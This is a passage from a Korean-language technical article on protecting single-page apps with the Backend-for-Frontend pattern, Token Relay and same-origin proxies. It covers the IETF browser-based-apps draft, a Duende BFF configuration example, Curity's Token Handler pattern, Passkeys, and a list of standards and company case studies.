  → 쿠키 크기 제한 (4KB) 초과 가능
  → 네트워크 매 요청마다 토큰 전송
  → HttpOnly여도 토큰이 클라이언트↔서버 구간에 노출

올바른 방식:
  Set-Cookie: __Host-sid=a1b2c3d4  ← 불투명 세션 ID만!
  → 세션 ID는 의미 없는 랜덤 문자열
  → 실제 토큰은 서버 세션 저장소(Redis 등)에만 존재
  → 탈취해도 토큰 내용을 알 수 없음

9. 최신 트렌드 (2025-2026)

9.1 IETF OAuth for Browser-Based Apps (Draft-26)

IETF의 draft-ietf-oauth-browser-based-apps-26브라우저 기반 애플리케이션에서 OAuth를 사용하는 방법에 대한 현재 진행 중인 표준 문서이다.

BFF의 3가지 책임:

  1. Confidential Client: client_secret을 안전하게 보관하고 사용
  2. Token Management: Access/Refresh Token의 수명 주기 관리 (저장, 갱신, 폐기)
  3. Request Proxying: 브라우저의 API 요청을 하위 서비스로 중계 (Token Relay)

3가지 아키텍처 분류:

아키텍처 설명 권고 수준
BFF Pattern (Backend For Frontend) 서버 측 컴포넌트가 OAuth 흐름 처리. 토큰은 서버에만 존재. 강력 권고 (RECOMMENDED)
Token-Mediating Backend 백엔드가 토큰을 중개하지만 BFF보다 느슨한 결합 허용
Browser-based OAuth Client SPA가 직접 OAuth 수행, 토큰이 브라우저에 존재 비권고 (리스크 인지 필요)

Draft-26은 BFF 패턴을 사실상 표준으로 자리매김시켰다. 브라우저에서 직접 OAuth를 수행하는 것은 여전히 가능하지만, 보안 리스크를 충분히 이해한 상태에서만 선택해야 한다.

9.2 Duende BFF Framework v4

Duende BFF (2026년 1월 v4 릴리스)는 .NET 생태계에서 BFF 패턴을 가장 완전하게 구현한 프레임워크이다.

핵심 기능:

  • ASP.NET Core 위에 BFF 레이어 자동 구성
  • OIDC 인증 + 세션 관리 내장
  • 원격 API 프록시 (Token Relay 내장)
  • CSRF 방어 (커스텀 헤더 방식)
  • 세션 관리 UI (활성 세션 조회/폐기)
// Program.cs - Duende BFF 설정
var builder = WebApplication.CreateBuilder(args);

builder.Services.AddBff();                    // BFF 서비스 등록
builder.Services.AddAuthentication(options => {
    options.DefaultScheme = "cookie";
    options.DefaultChallengeScheme = "oidc";
})
.AddCookie("cookie", options => {
    options.Cookie.Name = "__Host-bff";
    options.Cookie.SameSite = SameSiteMode.Strict;
})
.AddOpenIdConnect("oidc", options => {
    options.Authority = "https://idp.example.com";
    options.ClientId = "bff-client";
    options.ClientSecret = "secret";
    options.ResponseType = "code";
    options.SaveTokens = true;
});

var app = builder.Build();

app.UseAuthentication();
app.UseBff();                                  // BFF 미들웨어

// 원격 API 프록시 (Token Relay 자동 적용)
app.MapRemoteBffApiEndpoint("/api/users", "https://user-service:8080")
   .RequireAccessToken();                      // ← Token Relay 활성화

app.MapRemoteBffApiEndpoint("/api/orders", "https://order-service:8081")
   .RequireAccessToken();

9.3 Curity Token Handler Pattern

Curity는 OAuth/OIDC 전문 벤더로, Token Handler Pattern이라는 독특한 접근 방식을 제안한다.

핵심 아이디어: BFF를 두 개의 독립 컴포넌트로 분리하여, SPA 아키텍처의 순수성을 유지한다.

┌───────────────────────────────────────────────────────────┐
│                     app.example.com                        │
│                                                           │
│  ┌──────────┐     ┌─────────────────────────────────────┐ │
│  │   SPA    │────▶│          OAuth Proxy                 │ │
│  │ (순수한  │◀────│  (nginx + Lua/OpenResty)             │ │
│  │  React)  │     │                                      │ │
│  └──────────┘     │  ┌─────────────────────────────────┐ │ │
│                   │  │  Cookie → Bearer 변환 (Token     │ │ │
│                   │  │  Relay) + API 프록시              │ │ │
│                   │  └──────────┬──────────────────────┘ │ │
│                   └─────────────┼────────────────────────┘ │
│                                 │                          │
│  ┌──────────────────────────────┼────────────────────────┐ │
│  │          OAuth Agent (별도 서비스)                     │ │
│  │  - OAuth 2.0 Authorization Code Flow 수행             │ │
│  │  - Token 발급/갱신/폐기                               │ │
│  │  - 세션 관리 (Encrypted Cookie 또는 서버 세션)         │ │
│  └───────────────────────────────────────────────────────┘ │
└───────────────────────────────────────────────────────────┘
컴포넌트 역할 구현
OAuth Agent OAuth 흐름 처리 (로그인, 토큰 발급, 갱신) Node.js/.NET/Java 서버
OAuth Proxy Token Relay (Cookie → Bearer 변환) + API 프록시 nginx + OpenResty (Lua)

장점: SPA가 OAuth에 대해 전혀 몰라도 됨. SPA 코드는 순수한 UI 로직만 포함. OAuth 관련 복잡성은 인프라 계층에서 처리.

9.4 Passkeys/WebAuthn과의 관계

Passkeys(패스키)는 FIDO Alliance와 W3C가 주도하는 비밀번호 없는 인증 표준이다. 생체 인식(지문, 얼굴)이나 디바이스 PIN으로 인증한다.

BFF와의 관계: 직교(Orthogonal)

인증 방법 (HOW to authenticate):
  - 비밀번호 → Passkeys로 변경 가능
  - 이 변경은 IdP(Keycloak, Auth0 등)에서만 이루어짐

인증 후 토큰 관리 (WHAT to do after authentication):
  - BFF → Token Relay 패턴은 동일하게 유지
  - 인증 방법이 바뀌어도 토큰 흐름은 변하지 않음
Passkeys 사용 시 흐름 변화:

변경 전 (비밀번호):
  Browser → BFF → IdP (ID/PW 입력) → Token → BFF Session → Cookie

변경 후 (Passkeys):
  Browser → BFF → IdP (지문/얼굴 인식) → Token → BFF Session → Cookie
                        ↑                              ↑
                   여기만 바뀜!              나머지는 완전히 동일!

결론: Passkeys는 인증 방법(authentication method)을 개선하는 것이고, BFF/Token Relay는 인증 후 토큰 관리(token management)를 담당한다. 두 가지는 서로 다른 관심사를 다루므로, Passkeys를 도입해도 BFF Token Relay 아키텍처는 그대로 유지된다.


10. 참고 자료 및 출처

RFC 및 표준

문서 제목 핵심 내용
RFC 6749 The OAuth 2.0 Authorization Framework OAuth 2.0 핵심 스펙
RFC 6750 The OAuth 2.0 Authorization Framework: Bearer Token Usage Bearer Token 정의 및 사용법
RFC 7519 JSON Web Token (JWT) JWT 구조 및 처리 규칙
RFC 8693 OAuth 2.0 Token Exchange 토큰 교환 프로토콜 (2020)
draft-ietf-oauth-browser-based-apps-26 OAuth 2.0 for Browser-Based Applications SPA에서의 OAuth Best Practice, BFF 권고

공식 문서

블로그 포스트 및 기술 문서

기업 사례

기업 사례 참고
SoundCloud BFF 최초 구현, Rails 모놀리스에서 전환 Phil Calcado 블로그
Netflix 플랫폼별(TV, 모바일, 웹) BFF 운영, Android BFF 마이그레이션 Netflix TechBlog
Spotify 모바일/웹 BFF 분리 운영 기술 컨퍼런스 발표
REA Group 부동산 포털 BFF 적용 Sam Newman 컨설팅 사례

요약: BFF, Same-Origin Reverse Proxy, Token Relay는 각각 애플리케이션 계층, 인프라 계층, 인증 계층에서 SPA의 근본적 보안 문제를 해결한다. 이 세 패턴을 조합하면, 브라우저에 민감한 토큰을 노출하지 않으면서도 원활한 사용자 경험을 제공하는 완전한 보안 아키텍처를 구축할 수 있다. IETF Draft-26에서 BFF 패턴이 사실상 표준으로 권고됨에 따라, 이 조합은 2025-2026년 현재 SPA 보안의 정답(de facto standard)으로 자리잡았다.